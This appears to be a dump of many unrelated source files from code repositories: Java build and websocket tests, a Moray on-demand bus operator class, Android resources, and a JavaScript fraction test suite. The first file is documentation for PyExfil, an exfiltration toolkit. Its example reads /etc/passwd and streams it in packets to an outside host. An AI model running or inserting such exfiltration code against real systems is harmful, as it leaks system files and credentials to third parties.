text:
## Shared Abilities
Please notice that although we have tried to keep this a collection of relatively separated stand alone modules so that converting them to static binaries for various operating systems would be as easy as possible, some things we have decided to turn into modules that would be shared across the board while attempting to keep is as depency free as possible. Such a component for now is `pyexfil/includes/prepare`. This module contains the methods of converting files (compressing, encrypting, encoding and splitting) into chunks ready to be sent or decoded.

You can use it in the following way:

```python
import socket
from pyexfil.includes.prepare import PrepFile, RebuildFile, DecodePacket

proc = PrepFile('/etc/passwd', kind='binary') # will yield a dictionary

# Send the data over
sock = socket.socket()
sock.connect(('google.com', 443))
for i in proc['Packets']:
    sock.send(i)
sock.close()

# Rebuilding the data:
conjoint = []
for packet in proc['Packets']:
    b = DecodePacket(packet)
    conjoint.append(b)

# Verify and rebuild the file:
print(RebuildFile(conjoint))
```

## Calling Convention
In theory we wish each module to have a convention call to make it easier to work with. Some methods make it easier while some make it more difficult. For that, here is a template on how we wish for it to be. Please bear in mind some modules will not fall into place. Use your best judgment.

1. Preparing file/data for exfiltration should be done as in [this section]("#shared-abilities").
2. Place the package folder under the right location. For example; short communication (C&C) under `Comm`, exfiltration over network communication under `network` etc.
3. Create an `__init__.py` under that folder.
4. For broadcasting purposes use the function name `Send` that will wrap everything up.
5. For receiving purposes use `Broker` function to contain the function. If possible, set it up in a threading mode as to return back.
6. * if possible add a call back function for when data arrives.

Here's an `__ini__.py` example file:

```python
from scapy.all import *
from pyexfil.includes.prepare import PrepFile, RebuildFile, DecodePacket

def _send_packet(host, port, data, counter):
  open('/dev/null', 'w').write("%s%s" % (data, counter))

def _testCallBack(pkt):
  print("Me got a pkt! [%s]" % len(pkt))

def Send(fname, password, host, port):
  proc = PrepFile(fname, kind='binary', enc_key=password, max_size=1024)
  i = 0
  for p in proc['Packets']:
    _send_packet(host, port, p, i)
    i += 1
  return True

class Broker():
  def __init__(self, key, retFunc=_testCallBack):
    self.key = key
    self.callBack = retFunc

  def _parse(self, pkt):
    if pkt is 'A Good Boy':
      self.callBack(pkt)
    else:
      """ These are not the packets you're looking for """
      pass

  def Listen(self):
    while True:
      sniff(ptn=self._parse, filter='stam', store=0, count=0)
```

There are also a few "ready made functions" that we found useful on several scenarios that can be found in the `general.py`, `image_manipulation.py` and `encryption_wrappers.py`. Have a look at them before reimplementing some of these.

## Exceptions

`PyExfil` holds ability to raise custom exceptions. These exceptions appear in `pyexfil/includes/exceptions.py`


text:
package org.jboss.pnc.core.test.buildCoordinator.event;

import org.jboss.arquillian.container.test.api.Deployment;
import org.jboss.arquillian.junit.Arquillian;
import org.jboss.arquillian.junit.InSequence;
import org.jboss.pnc.common.Configuration;
import org.jboss.pnc.common.util.ObjectWrapper;
import org.jboss.pnc.core.BuildDriverFactory;
import org.jboss.pnc.core.builder.BuildCoordinator;
import org.jboss.pnc.core.builder.BuildSetTask;
import org.jboss.pnc.core.builder.BuildTask;
import org.jboss.pnc.core.builder.BuildTasksTree;
import org.jboss.pnc.core.notifications.buildSetTask.BuildSetCallBack;
import org.jboss.pnc.core.notifications.buildSetTask.BuildSetStatusNotifications;
import org.jboss.pnc.core.notifications.buildTask.BuildCallBack;
import org.jboss.pnc.core.notifications.buildTask.BuildStatusNotifications;
import org.jboss.pnc.core.test.configurationBuilders.TestProjectConfigurationBuilder;
import org.jboss.pnc.core.test.mock.BuildDriverMock;
import org.jboss.pnc.model.BuildConfigurationSet;
import org.jboss.pnc.spi.BuildExecutionType;
import org.jboss.pnc.spi.BuildSetStatus;
import org.jboss.pnc.spi.BuildStatus;
import org.jboss.pnc.spi.events.BuildSetStatusChangedEvent;
import org.jboss.pnc.spi.events.BuildStatusChangedEvent;
import org.jboss.shrinkwrap.api.ShrinkWrap;
import org.jboss.shrinkwrap.api.asset.EmptyAsset;
import org.jboss.shrinkwrap.api.spec.JavaArchive;
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import javax.enterprise.event.Observes;
import javax.inject.Inject;
import java.util.HashSet;
import java.util.Set;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.function.Consumer;
import java.util.stream.Collectors;

/**
 * @author Matej Lazar
 */
@RunWith(Arquillian.class)
public class StatusUpdatesTest {

    private static final int MIN_TASKS = 3;

    private static final Logger log = LoggerFactory.getLogger(StatusUpdatesTest.class);

    @Inject
    BuildCoordinator buildCoordinator;

    @Inject
    TestCDIBuildSetStatusChangedReceiver testCDIBuildSetStatusChangedReceiver;

    @Inject
    BuildStatusNotifications buildStatusNotifications;

    @Inject
    BuildSetStatusNotifications buildSetStatusNotifications;

    @Deployment
    public static JavaArchive createDeployment() {
        JavaArchive jar = ShrinkWrap.create(JavaArchive.class)
                .addPackages(true,
                        Configuration.class.getPackage(),
                        StatusUpdatesTest.class.getPackage(),
                        BuildDriverMock.class.getPackage(),
                        BuildCoordinator.class.getPackage(),
                        BuildDriverFactory.class.getPackage(),
                        BuildSetStatusChangedEvent.class.getPackage(),
                        Observes.class.getPackage())
                .addAsManifestResource(EmptyAsset.INSTANCE, "beans.xml")
                .addAsResource("META-INF/logging.properties");
        log.debug(jar.toString(true));
        return jar;
    }

    @Test
    @InSequence(10)
    public void buildSetStatusShouldUpdateWhenAllBuildStatusChangeToCompletedState() {
        ObjectWrapper<BuildSetStatusChangedEvent> receivedBuildSetStatusChangedEvent = new ObjectWrapper<>();
        Consumer<BuildSetStatusChangedEvent> statusUpdateListener = (event) -> {
            receivedBuildSetStatusChangedEvent.set(event);
        };
        testCDIBuildSetStatusChangedReceiver.addBuildSetStatusChangedEventListener(statusUpdateListener);

        Set<BuildTask> buildTasks = initializeBuildTask().getBuildTasks();
        buildTasks.forEach((bt) -> bt.setStatus(BuildStatus.DONE));
        Assert.assertNotNull("Did not receive status update.", receivedBuildSetStatusChangedEvent.get());
        Assert.assertEquals(BuildSetStatus.DONE, receivedBuildSetStatusChangedEvent.get().getNewStatus());
    }

    @Test
    @InSequence(20)
    public void buildSetStatusShouldNotUpdateWhenAllBuildStatusChangeToNonCompletedState() {
        ObjectWrapper<BuildSetStatusChangedEvent> receivedBuildSetStatusChangedEvent = new ObjectWrapper<>();
        Consumer<BuildSetStatusChangedEvent> statusUpdateListener = (event) -> {
            receivedBuildSetStatusChangedEvent.set(event);
        };
        testCDIBuildSetStatusChangedReceiver.addBuildSetStatusChangedEventListener(statusUpdateListener);

        Set<BuildTask> buildTasks = initializeBuildTask().getBuildTasks();
        Assert.assertTrue("There should be at least " + MIN_TASKS + " tasks in the set", buildTasks.size() > MIN_TASKS);
        int i = 0;
        for (BuildTask buildTask : buildTasks) {
            i++;
            if (i < MIN_TASKS) {
                buildTask.setStatus(BuildStatus.BUILD_WAITING);
            } else {
                buildTask.setStatus(BuildStatus.DONE);
            }
        }
        Assert.assertNull("Received unexpected status update.", receivedBuildSetStatusChangedEvent.get());
    }

    @Test
    @InSequence(30)
    public void BuildTaskCallbacksShouldBeCalled() {
        Set<BuildTask> buildTasks = initializeBuildTask().getBuildTasks();
        Set<Integer> tasksIds = buildTasks.stream().map((buildTask -> buildTask.getId())).collect(Collectors.toSet());

        Set<Integer> receivedUpdatesForId = new HashSet<>();
        Consumer<BuildStatusChangedEvent> statusChangeEventConsumer = (statusChangedEvent) -> {
            receivedUpdatesForId.add(statusChangedEvent.getBuildTaskId());
        };

        tasksIds.forEach((id) -> {
            buildStatusNotifications.subscribe(new BuildCallBack(id, statusChangeEventConsumer));
        });

        buildTasks.forEach((bt) -> bt.setStatus(BuildStatus.DONE));

        tasksIds.forEach((id) -> {
            Assert.assertTrue("Did not receive update for task " + id, receivedUpdatesForId.contains(id));
        });
    }

    @Test
    @InSequence(40)
    public void BuildSetTaskCallbacksShouldBeCalled() {
        BuildSetTask buildSetTask = initializeBuildTask();
        Set<BuildTask> buildTasks = buildSetTask.getBuildTasks();

        ObjectWrapper<BuildSetStatusChangedEvent> buildSetStatusChangedEvent = new ObjectWrapper<>();
        Consumer<BuildSetStatusChangedEvent> statusChangeEventConsumer = (statusChangedEvent) -> {
            buildSetStatusChangedEvent.set(statusChangedEvent);
        };

        buildSetStatusNotifications.subscribe(new BuildSetCallBack(buildSetTask.getId(), statusChangeEventConsumer));

        buildTasks.forEach((bt) -> bt.setStatus(BuildStatus.DONE));

        Assert.assertNotNull("Did not receive status update.", buildSetStatusChangedEvent.get());
        Assert.assertEquals("Did not receive status update to DONE for task set.", BuildSetStatus.DONE, buildSetStatusChangedEvent.get().getNewStatus());
    }

    AtomicInteger buildTaskSetIdSupplier = new AtomicInteger(0);
    AtomicInteger buildTaskIdSupplier = new AtomicInteger(0);

    private BuildSetTask initializeBuildTask() {
        BuildConfigurationSet buildConfigurationSet = new TestProjectConfigurationBuilder().buildConfigurationSet(1);

        BuildSetTask buildSetTask = new BuildSetTask(
                buildCoordinator,
                buildConfigurationSet,
                BuildExecutionType.COMPOSED_BUILD, null, buildTaskSetIdSupplier.incrementAndGet());
        new BuildTasksTree(buildCoordinator, buildSetTask, null, () -> buildTaskIdSupplier.incrementAndGet());

        return buildSetTask;
    }
}

redpajama_set_name: RedPajamaGithub


text:
package ac.uk.abdn.fits.demo.query.exp.sim6.operator;

/**
 * @author Cheng Zeng, University of Aberdeen
 *
 */

import java.text.DecimalFormat;
import java.util.Calendar;
import java.util.HashMap;

import math.geom2d.polygon.SimplePolygon2D;
import ac.uk.abdn.fits.demo.gmap.model.polygon.Point;
import ac.uk.abdn.fits.demo.gmap.model.polygon.Polygon;
import ac.uk.abdn.fits.demo.query.exp.operator.area.OperatingAreaRelaxation;
import ac.uk.abdn.fits.demo.query.exp.operator.area.OperatingAreaRelaxation.Direction;
import ac.uk.abdn.fits.demo.query.exp.operator.*;

public class MforMorayBuckieService extends Operator{

	public static final String POLYGON_STR= "-3.0881881713867188,57.61672719186583,0.0 -2.8296661376953125,57.64540066740663,0.0 -2.8004837036132812,57.68359676303727,0.0 -2.7953338623046875,57.688368447125875,0.0 -2.7953338623046875,57.69460739376101,0.0 -2.8073501586914062,57.716435248134204,0.0 -2.8461456298828125,57.712584229838065,0.0 -3.0943679809570312,57.678273758787924,0.0 -3.0881881713867188,57.61672719186583,0.0";

	private Polygon ploygon;

//	private PassengerType[] eligiblePassengers; // No restriction
	private HashMap<PassengerAge, Double> age_group = new HashMap<PassengerAge, Double>();
	private HashMap<PassengerMobilityStatus, Double> mobility_status = new HashMap<PassengerMobilityStatus, Double>();
	private HashMap<PassengerJourneyPurpose, Double> journey_purpose = new HashMap<PassengerJourneyPurpose, Double>();
	private EligibilityCalculator eligibility_cal;
	private FareCalculator fare_cal;
	private OpAreaSurgCalculator op_area_sur_cal;
	private OpTimeSurgCalculator op_time_sur_cal;

	public static final String operatingTime = "0900-1430 Mon-Fri";

	private String fare = "Standard bus fares";

	public MforMorayBuckieService(String name, String description, String elig, String preferences, String tel, String website, String address,
			String email, String contactUs, String layer) {
		super(name, description, elig, preferences, tel, website, address, email, contactUs, layer);
	}

	public MforMorayBuckieService() {

		super("M for Moray - Buckie service"
				, "Buckie area accessible on-demand bus.  Operating Time: 0900-1430; Mon to Fri. Eligible passengers: No restrictions. Fares: Standard bus fares. Concession passes valid."
				, "No restriction"
				, ""
				, "0300 123 4565"
				, "http://www.moray.gov.uk/moray_standard/page_52932.html"
				, ""
				, "transport@moray.gov.uk"
				, "Dial M for Moray\n\nTel: 01343 562533\nEmail: transport@moray.gov.uk"
				, "Moray Area on-demand bus services");

		ploygon = new Polygon(Operator.getPoints(POLYGON_STR));
		eligibility();
	}

	private void eligibility(){

		age_group.put(PassengerAge.under_16, 1.0);
		age_group.put(PassengerAge.from_16_to_21, 1.0);
		age_group.put(PassengerAge.from_22_to_54, 1.0);
		age_group.put(PassengerAge.from_55_to_59, 1.0);
		age_group.put(PassengerAge.over_60, 1.0);
		mobility_status.put(PassengerMobilityStatus.Able_bodied, 1.0);
		mobility_status.put(PassengerMobilityStatus.Disabled_wheelchair_user, 1.0);
		mobility_status.put(PassengerMobilityStatus.Disable_other, 1.0);
		mobility_status.put(PassengerMobilityStatus.Mobility_impaired_unable_to_use_regular_PT, 1.0);
		journey_purpose.put(PassengerJourneyPurpose.Health_appointment, 1.0);
		journey_purpose.put(PassengerJourneyPurpose.Shopping, 1.0);
		journey_purpose.put(PassengerJourneyPurpose.Social_or_leisure, 1.0);
		journey_purpose.put(PassengerJourneyPurpose.School_or_education, 1.0);
		journey_purpose.put(PassengerJourneyPurpose.Work_commuting, 1.0);
		journey_purpose.put(PassengerJourneyPurpose.Other, 1.0);
		eligibility_cal = new EligibilityCalculator(age_group, mobility_status, journey_purpose);
		fare_cal = new FareCalculator(2, 0, 0, 33.33, 0, true, false);
		fare_cal.addDistanceBand(new DistanceBand(0, 2, "flat rate", 1.55));
		fare_cal.addDistanceBand(new DistanceBand(2, 2, "flat rate", 1.55));
		fare_cal.addDistanceBand(new DistanceBand(2, 13, "fare per mile", 0.6));
		fare_cal.addDistanceBand(new DistanceBand(13, 1000, "flat rate", 7.14));
		op_area_sur_cal = new OpAreaSurgCalculator(Double.MAX_VALUE); //Double.MAX_VALUE
		op_time_sur_cal = new OpTimeSurgCalculator(90);

	}

	@Override
	public boolean isCovered(Point point) {

		return ploygon.contains(point);
	}

	@Override
	public boolean checkOperatingTime(Calendar departure, Calendar arrival) {

		System.out.println("departure: " + departure.getTime().toGMTString());
		System.out.println("arrival: " + arrival.getTime().toGMTString());

		if(departure.get(Calendar.DAY_OF_WEEK)>= Calendar.MONDAY && departure.get(Calendar.DAY_OF_WEEK)<= Calendar.FRIDAY &&
				arrival.get(Calendar.DAY_OF_WEEK)>= Calendar.MONDAY && arrival.get(Calendar.DAY_OF_WEEK)<= Calendar.FRIDAY ){
			//in milliseconds
			long diff = arrival.getTimeInMillis() - departure.getTimeInMillis();
			long diffMinutes = diff / (60 * 1000);
			if(departure.get(Calendar.HOUR_OF_DAY)>= 9
					&& (departure.get(Calendar.HOUR_OF_DAY) < 14 || departure.get(Calendar.HOUR_OF_DAY) == 14 && departure.get(Calendar.MINUTE) <= 30)){

				if(diffMinutes <= 330){  // 9:00 - 14:30
					return true;
				}else{
					return false;
				}
			}
		}
		return false;
	}

	@Override
	public String getDepartureTime() {

		return operatingTime;
	}

	@Override
	public String getArrivalTime() {

		return operatingTime;
	}

	@Override
	public String getFare() {
		return fare;
	}

	public String getFare(double dist){
		double fare  = fare_cal.calc(dist);
		DecimalFormat formatter = new DecimalFormat("#0.00");
		return formatter.format(fare).toString();
	}

	@Override
	public String getOperatingTime() {

		return operatingTime;
	}

	@Override
	public boolean relaxOpeningTime(Calendar departure, Calendar arrival, int hour, int min) {

		return false;
	}

	@Override
	public boolean relaxClosingTime(Calendar departure, Calendar arrival, int hour, int min) {

		return false;
	}

	@Override
	public boolean checkEligibility(PassengerAge age,
			PassengerMobilityStatus mobility,
			PassengerJourneyPurpose purpose) {

		double sur = eligibility_cal.get_surcharge(age, mobility, purpose);
		if(sur == 0.0){
			return true;
		}else{
			return false;
		}

	}

	@Override
	public double relaxPassengerType(PassengerAge age,
			PassengerMobilityStatus mobility_status,
			PassengerJourneyPurpose purpose) {

		return eligibility_cal.get_disutil(age, mobility_status, purpose);
	}

	@Override
	public boolean relaxOperatingArea(Point point, Direction direction,
			int miles) {
		OperatingAreaRelaxation relaxation = OperatingAreaRelaxation.getInstance();
		Polygon p = relaxation.relax(this.ploygon, direction, miles);
		if(p.contains(point)){
			return true;
		}
		return false;
	}

	@Override
	public String getOpeningTime() {
		return "9:00";
	}

	@Override
	public String getClosingTime() {
		return "14:30";
	}

	@Override
	public String relaxPassengerTypeInfo(PassengerAge age,
			PassengerMobilityStatus mobility_status,
			PassengerJourneyPurpose purpose) {

		StringBuilder sb = new StringBuilder("");
		if(age_group.get(age) > 1.0){
			sb.append("age group is relaxed to include " + age.toString(age));
		}
		if(this.mobility_status.get(mobility_status) > 1.0){
			if(sb.length() > 0){
				sb.append("; ");
			}
			sb.append("passenger mobility status is relaxed to include " + mobility_status.toString(mobility_status));
		}
		if(journey_purpose.get(purpose) > 1.0){
			if(sb.length() > 0){
				sb.append("; ");
			}
			sb.append("journey purpose is relaxed to include " + purpose.toString(purpose));
		}
		return sb.toString();
	}

	@Override
	public double getShortestDistanceToBoundary(Point point) {

		Point[] points = ploygon.getPoints();
		double[] x_coord = new double[points.length];
		double[] y_coord = new double[points.length];
		for(int i=0; i< points.length; i++){
			x_coord[i] = points[i].x();
			y_coord[i] = points[i].y();
		}
		SimplePolygon2D polygon2D = new SimplePolygon2D(x_coord, y_coord);
		return polygon2D.distance(point.x(), point.y());
	}

	/*
	 *
	 */
	@Override
	public double relaxOpeningTimeSur(int mins) {
		return op_time_sur_cal.relaxOpeningTime(0, mins);
	}

	/*
	 *
	 */
	@Override
	public double relaxClosingTimeSur(int mins) {

		return op_time_sur_cal.relaxClosingTime(0, mins);
	}

	/*
	 *
	 */
	@Override
	public String relaxPassengerTypeSur(PassengerAge age,
			PassengerMobilityStatus mobility_status,
			PassengerJourneyPurpose purpose) {
		double sur = eligibility_cal.get_surcharge(age, mobility_status, purpose);
		if(sur == 0.0){
			return "0.0";
		}else{
			return ""+sur;
		}

	}

	/*
	 *
	 */
	@Override
	public DistSur relaxOperatingAreaSur(Point point) {

		return op_area_sur_cal.calcSurcharge(ploygon, point);
	}

	@Override
	public boolean relaxOperatingAreaWithinUsualOperatingTime() {
		return false;
	}

	@Override
	public boolean relaxOperatingAreaOutsideUsualOperatingTime() {
		return false;
	}

	@Override
	public boolean hasTwoOperatingTimeSession() {
		// TODO Auto-generated method stub
		return false;
	}

	@Override
	public Calendar getSmartDepartureTimeAfternoonSession(
			Calendar departureAfter) {
		// TODO Auto-generated method stub
		return null;
	}
}


text:
import React from "react";

export default function Page1(props) {
  return
A 子container 1
;
}


text:
<?xml version="1.0" encoding="utf-8"?>
<resources>

    <string name="app_name">Slider Menu</string>
    <string name="action_settings">Settings</string>
    <string name="hello_world">Hello world!</string>
    <string name="drawer_open">Slider Menu Opened</string>
    <string name="drawer_close">Slider Menu Closed</string>
    <string name="name_fb">Nom :</string>
    <string name="surname_fb">Prénom :</string>
    <string name="liste_events">Liste des évenements facebook :</string>

    <!-- Nav Drawer Menu Items -->
    <string-array name="nav_drawer_items">
        <item>Home</item>
        <item>Find People</item>
        <item>Photos</item>
        <item>Communities</item>
        <item>Pages</item>
        <item>What\'s Hot</item>
    </string-array>

    <string-array name="week_array">
        <item>1 jour</item>
        <item>2 jours</item>
        <item>3 jours</item>
        <item>4 jours</item>
        <item>5 jours</item>
        <item>6 jours</item>
        <item>7 jours</item>
    </string-array>

    <!-- Nav Drawer List Item Icons -->
    <!-- Keep them in order as the titles are in -->
    <array name="nav_drawer_icons">
        <item>@drawable/ic_home</item>
        <item>@drawable/ic_people</item>
        <item>@drawable/ic_photos</item>
        <item>@drawable/ic_communities</item>
        <item>@drawable/ic_pages</item>
        <item>@drawable/ic_whats_hot</item>
    </array>

    <!-- Content Description -->
    <string name="desc_list_item_icon">Item Icon</string>

</resources>


text:
<?php
namespace getuisdk;

/**
 * Interface ApnMsg
 * @package getuisdk
 */
interface ApnMsg
{
    /**
     * @return mixed
     */
    public function getAlertMsg();
}


text:
package org.apache.camel.component.vertx.websocket;

import java.util.stream.Stream;

import org.apache.camel.RoutesBuilder;
import org.apache.camel.builder.RouteBuilder;
import org.apache.camel.component.mock.MockEndpoint;
import org.junit.jupiter.api.Test;

public class VertxWebsocketMultiConsumerTest extends VertxWebSocketTestSupport {

    @Test
    public void testMultipleConsumersForSameHostAndPort() throws Exception {
        MockEndpoint mockEndpoint = getMockEndpoint("mock:result");
        mockEndpoint.expectedBodiesReceivedInAnyOrder("Hello a", "Hello b", "Hello c");

        Stream.of("a", "b", "c").forEach(body -> {
            template.sendBody("vertx-websocket:localhost:" + port + "/test/" + body, body);
        });

        mockEndpoint.assertIsSatisfied();
    }

    @Override
    protected RoutesBuilder createRouteBuilder() throws Exception {
        return new RouteBuilder() {
            @Override
            public void configure() throws Exception {
                fromF("vertx-websocket:localhost:%d/test/a", port)
                        .setBody(simple("Hello ${body}"))
                        .to("mock:result");

                fromF("vertx-websocket:localhost:%d/test/b", port)
                        .setBody(simple("Hello ${body}"))
                        .to("mock:result");

                fromF("vertx-websocket:localhost:%d/test/c", port)
                        .setBody(simple("Hello ${body}"))
                        .to("mock:result");
            }
        };
    }
}


text:
using System;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Reflection;
using Newtonsoft.Json;
using Newtonsoft.Json.Serialization;

namespace Swashbuckle.Swagger
{
    public static class JsonPropertyExtensions
    {
        public static bool IsRequired(this JsonProperty jsonProperty)
        {
            return jsonProperty.HasAttribute<RequiredAttribute>() || jsonProperty.Required == Required.Always;
        }

        public static bool IsObsolete(this JsonProperty jsonProperty)
        {
            return jsonProperty.HasAttribute<ObsoleteAttribute>();
        }

        public static bool HasAttribute<T>(this JsonProperty jsonProperty)
        {
            var propInfo = jsonProperty.PropertyInfo();
            return propInfo != null && Attribute.IsDefined(propInfo, typeof (T));
        }

        public static PropertyInfo PropertyInfo(this JsonProperty jsonProperty)
        {
            if (jsonProperty.UnderlyingName == null) return null;

            var metadata = jsonProperty.DeclaringType.GetCustomAttributes(typeof(MetadataTypeAttribute), true)
                .FirstOrDefault();

            var typeToReflect = (metadata != null)
                ? ((MetadataTypeAttribute)metadata).MetadataClassType
                : jsonProperty.DeclaringType;

            return typeToReflect.GetProperty(jsonProperty.UnderlyingName, jsonProperty.PropertyType);
        }
    }
}


text:
from dstools.pipeline.executors.Serial import Serial
from dstools.pipeline.executors.Parallel import Parallel

__all__ = ['Serial', 'Parallel']


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<META http-equiv="Content-Type" content="text/html; charset=UTF-8">
<TITLE>
org.apache.hadoop.hbase.metrics (HBase 0.94.19 API)
</TITLE>

<META NAME="date" CONTENT="2014-04-22">

<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../../stylesheet.css" TITLE="Style">

org.apache.hadoop.hbase.metrics

Classes

ExactCounterMetric

HBaseInfo

HBaseInfo.HBaseInfoMBean

MetricsMBeanBase

MetricsRate

MetricsString

PersistentMetricsTimeVaryingRate


text:
/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */
package coretest;

/**
 *
 * @author willi
 */
public class Lane {
    float x ,dmg,speed;
    float pretime;

}


text:
package org.spongepowered.api.event.net;

import org.spongepowered.api.event.Cancellable;
import org.spongepowered.api.net.PlayerConnection;

/**
 * An event that occurs when a {@link PlayerConnection} registers a channel with the server.
 */
public interface PlayerConnectionRegisterChannelEvent extends PlayerConnectionEvent, Cancellable {

    /**
     * Gets the name of the channel being registered.
     *
     * @return The channel being registered
     */
    String getChannelRegistered();

}


text:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" package="${AppIdentifier}">
	<uses-sdk android:minSdkVersion="15" />
	<application android:label="sketchatype">
	</application>
</manifest>


text:
class NSMutableString
  ##
  # Returns the upper camel case version of the string. The string
  # is assumed to be in snake_case, but still works on a string that
  # is already in camel case.
  #
  # I chose to make this method update the string in place as it
  # is a fairly hot method and should perform well; by running in
  # place we save an allocation (which is slow on MacRuby right now).
  #
  # Returns nil if the string was empty.
  #
  # @return [String,nil] returns `self`
  def camelize!
    gsub! /(?:^|_)(.)/ do $1.upcase end
  end
end


text:
require File.expand_path('../boot', __FILE__)

# Pick the frameworks you want:
# require "active_record/railtie"
require "action_controller/railtie"
require "action_mailer/railtie"
require "sprockets/railtie"
# require "rails/test_unit/railtie"

# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(:default, Rails.env)

module Rails40
  class Application < Rails::Application
    config.roadie.url_options = {host: 'example.app.org'}
  end
end


text:
using System.Web.Mvc;

namespace WebTextEditor.Controllers
{
    public class JasmineController : Controller
    {
        public ViewResult Run()
        {
            return View("SpecRunner");
        }
    }
}


text:
package org.jasig.cas.support.saml.web.support;

import static org.junit.Assert.*;

import java.util.Arrays;

import org.jasig.cas.authentication.principal.Service;
import org.jasig.cas.support.saml.authentication.principal.SamlServiceFactory;
import org.jasig.cas.web.support.ArgumentExtractor;
import org.jasig.cas.web.support.DefaultArgumentExtractor;
import org.jasig.cas.web.support.WebUtils;
import org.junit.Test;
import org.springframework.mock.web.MockHttpServletRequest;

/**
 * @author Scott Battaglia
 * @since 3.1
 */
public class WebUtilTests {

    @Test
    public void verifyFindService() {

        final DefaultArgumentExtractor casArgumentExtractor = new DefaultArgumentExtractor();
        final ArgumentExtractor[] argumentExtractors = new ArgumentExtractor[] {
                casArgumentExtractor};
        final MockHttpServletRequest request = new MockHttpServletRequest();
        request.setParameter("service", "test");

        final Service service = WebUtils.getService(Arrays.asList(argumentExtractors), request);

        assertNotNull(service);
        assertEquals("test", service.getId());
    }

    @Test
    public void verifyFoundNoService() {
        final DefaultArgumentExtractor casArgumentExtractor = new DefaultArgumentExtractor(
                new SamlServiceFactory()
        );

        final ArgumentExtractor[] argumentExtractors = new ArgumentExtractor[] {
                casArgumentExtractor};
        final MockHttpServletRequest request = new MockHttpServletRequest();
        request.setParameter("service", "test");

        final Service service = WebUtils.getService(Arrays
                .asList(argumentExtractors), request);

        assertNull(service);
    }
}


text:
import { Fraction } from 'core/primitives/fraction';

describe('Fraction class', () => {
  it('constructs a fraction with defaults', () => {
    const f = new Fraction();
    const { numerator, denominator } = f;
    expect(numerator).toEqual(1);
    expect(denominator).toEqual(1);
  });

  it('constructs a fraction with negative numerator', () => {
    const f = new Fraction(-1, 2);
    const { numerator, denominator } = f;
    expect(numerator).toEqual(-1);
    expect(denominator).toEqual(2);
  });

  it('constructs a fraction with negative 0 numerator', () => {
    const f = new Fraction(-0, 1);
    const { numerator, denominator } = f;
    expect(numerator).toEqual(0);
    expect(denominator).toEqual(1);
  });

  it('constructs a fraction with 0 denominator', () => {
    const f = new Fraction(1, 0);
    const { numerator, denominator } = f;
    expect(numerator).toEqual(Infinity);
    expect(denominator).toEqual(1);
  });

  it('constructs a fraction with negative denominator', () => {
    const f = new Fraction(1, -2);
    const { numerator, denominator } = f;
    expect(numerator).toEqual(-1);
    expect(denominator).toEqual(2);
  });

  it('adds fractions', () => {
    const a = new Fraction(1, 4);
    const b = new Fraction(1, 2);

    let result = a.add(b);
    expect(result.numerator).toEqual(3);
    expect(result.denominator).toEqual(4);

    result = b.add(a);
    expect(result.numerator).toEqual(3);
    expect(result.denominator).toEqual(4);

    result = a.add(1, 2);
    expect(result.numerator).toEqual(3);
    expect(result.denominator).toEqual(4);

    result = a.add(-1, 2);
    expect(result.numerator).toEqual(-1);
    expect(result.denominator).toEqual(4);
  });

  it('subtracts fractions', () => {
    const a = new Fraction(1, 4);
    const b = new Fraction(1, 2);

    let result = a.subtract(b);
    expect(result.numerator).toEqual(-1);
    expect(result.denominator).toEqual(4);

    result = b.subtract(a);
    expect(result.numerator).toEqual(1);
    expect(result.denominator).toEqual(4);

    result = a.subtract(1, 2);
    expect(result.numerator).toEqual(-1);
    expect(result.denominator).toEqual(4);

    result = a.subtract(-1, 2);
    expect(result.numerator).toEqual(3);
    expect(result.denominator).toEqual(4);
  });

  it('multiplies fractions', () => {
    const a = new Fraction(1, 4);
    const b = new Fraction(1, 2);

    let result = a.multiply(b);
    expect(result.numerator).toEqual(1);
    expect(result.denominator).toEqual(8);

    result = b.multiply(a);
    expect(result.numerator).toEqual(1);
    expect(result.denominator).toEqual(8);

    result = a.multiply(1, 2);
    expect(result.numerator).toEqual(1);
    expect(result.denominator).toEqual(8);

    result = a.multiply(2);
    expect(result.numerator).toEqual(1);
    expect(result.denominator).toEqual(2);
  });

  it('divides fractions', () => {
    const a = new Fraction(1, 4);
    const b = new Fraction(1, 2);

    let result = a.divide(b);
    expect(result.numerator).toEqual(1);
    expect(result.denominator).toEqual(2);

    result = b.divide(a);
    expect(result.numerator).toEqual(2);
    expect(result.denominator).toEqual(1);

    result = a.divide(1, 2);
    expect(result.numerator).toEqual(1);
    expect(result.denominator).toEqual(2);

    result = a.divide(2);
    expect(result.numerator).toEqual(1);
    expect(result.denominator).toEqual(8);
  });

  it('makes a mixed number when zero', () => {
    const f = new Fraction(0, 2);
    const { number, fraction } = f.mixedNumber();
    expect(number).toEqual(0);
    expect(fraction.numerator).toEqual(0);
    expect(fraction.denominator).toEqual(2);
  });

  it('makes a mixed number when less than one', () => {
    const f = new Fraction(1, 2);
    const { number, fraction } = f.mixedNumber();
    expect(number).toEqual(0);
    expect(fraction.numerator).toEqual(1);
    expect(fraction.denominator).toEqual(2);
  });

  it('makes a mixed number when greater than one', () => {
    const f = new Fraction(3, 2);
    const { number, fraction } = f.mixedNumber();
    expect(number).toEqual(1);
    expect(fraction.numerator).toEqual(1);
    expect(fraction.denominator).toEqual(2);
  });

  it('has an inverse method', () => {
    const f = new Fraction(3, 2);
    const { numerator, denominator } = f.inverse();
    expect(numerator).toEqual(2);
    expect(denominator).toEqual(3);
  });

  it('has an multiply scalar method', () => {
    const f = new Fraction(1, 2);
    const result = f.multiplyScalar(100);
    expect(result).toEqual(50);
  });

  it('has a reduce method', () => {
    let f = new Fraction(4, 16).reduce();
    expect(f.numerator).toEqual(1);
    expect(f.denominator).toEqual(4);

    f = new Fraction(5, 16).reduce();
    expect(f.numerator).toEqual(5);
    expect(f.denominator).toEqual(16);
  });

  it('has an equals method', () => {
    const a = new Fraction(4, 16);
    const b = new Fraction(1, 16);
    const c = new Fraction(1, 4);

    expect(a.equals(b)).toEqual(false);
    expect(b.equals(a)).toEqual(false);
